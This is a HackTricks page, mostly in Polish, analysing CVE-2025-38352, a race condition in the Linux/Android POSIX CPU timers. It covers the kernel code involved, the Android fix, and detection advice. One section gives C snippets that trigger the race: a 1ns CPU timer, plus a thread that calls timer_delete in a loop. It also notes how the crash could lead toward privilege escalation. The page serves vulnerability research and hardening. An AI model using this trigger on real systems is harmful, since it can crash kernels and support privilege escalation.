hacktricks/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

196 lines
9.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../banners/hacktricks-training.md}}
Ta strona opisuje błąd TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię jądra, a w niektórych okolicznościach może zostać wykorzystany do eskalacji uprawnień.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: wyścig między expiry a deletion podczas zakończenia zadania
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Krótkie przypomnienie wewnętrzne (istotne dla exploitation)
- Trzy zegary CPU odpowiadają za rozliczanie timerów przez cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Tworzenie timera powiązuje timer z task/pid i inicjalizuje węzły timerqueue:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Uzbrajanie wstawia wpis do per-base timerqueue i może zaktualizować pamięć podręczną następnego wygaśnięcia:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Szybka ścieżka unika kosztownego przetwarzania, chyba że zbuforowane czasy wygaśnięcia wskazują na możliwe wyzwolenie:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Wygaśnięcie zbiera wygasłe timery, oznacza je jako gotowe do wykonania, usuwa je z kolejki; faktyczne dostarczenie jest odroczone:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Dwa tryby obsługi wygaśnięć
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odroczone za pomocą task_work na docelowym zadaniu
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
W ścieżce IRQ-context firing list jest przetwarzana poza sighand
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- To zapobiega wejściu do handle_posix_cpu_timers() dla kończących się zadań, eliminując okno, w którym posix_cpu_timer_del() mógłby pominąć it.cpu.firing i wejść w wyścig z przetwarzaniem wygaśnięcia.
Wpływ
- Uszkodzenie pamięci jądra struktur timerów podczas równoczesnego expiry/deletion może prowadzić do natychmiastowych awarii (DoS) i stanowi silny prymityw umożliwiający eskalację uprawnień z powodu możliwości dowolnej manipulacji stanem jądra.
Wywoływanie błędu (bezpieczne, odtwarzalne warunki)
Build/config
- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez exit_state gating fix.
Runtime strategy
- Wybierz wątek, który zaraz zakończy działanie, i przypisz do niego CPU timer (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Ustaw bardzo krótki początkowy czas wygaśnięcia i mały interwał, aby zmaksymalizować wejścia w ścieżkę IRQ:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Z równoległego wątku jednocześnie usuń ten sam timer, gdy wątek docelowy kończy działanie:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: wysoki współczynnik ticków planera, obciążenie CPU, powtarzające się cykle exit/re-create wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie firing z powodu nieudanego task lookup/locking tuż po unlock_task_sighand().
Wykrywanie i utwardzanie
- Środki zaradcze: zastosować exit_state guard; preferować włączenie CONFIG_POSIX_CPU_TIMERS_TASK_WORK, gdy to możliwe.
- Obserwowalność: dodać tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); generować alert, gdy it.cpu.firing==1 jest obserwowane razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); monitorować niespójności timerqueue wokół exit zadania.
Obszary audytu (dla recenzentów)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): ustawia ctmr->firing i przesuwa węzły
- handle_posix_cpu_timers(): zwalnia sighand przed pętlą firing
- posix_cpu_timer_del(): polega na it.cpu.firing do wykrycia wygaśnięcia w locie; ta kontrola jest pomijana, gdy task lookup/lock nie powiedzie się podczas exit/reap
Uwagi dla badań nad eksploatacją
- Opisane zachowanie jest niezawodnym prymitywem powodującym awarię jądra; przekształcenie go w privilege escalation zwykle wymaga dodatkowego, kontrolowalnego overlapu (object lifetime lub write-what-where influence) wykraczającego poza zakres tego podsumowania. Traktuj każde PoC jako potencjalnie destabilizujące i uruchamiaj wyłącznie w emulatorach/VMs.
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../banners/hacktricks-training.md}}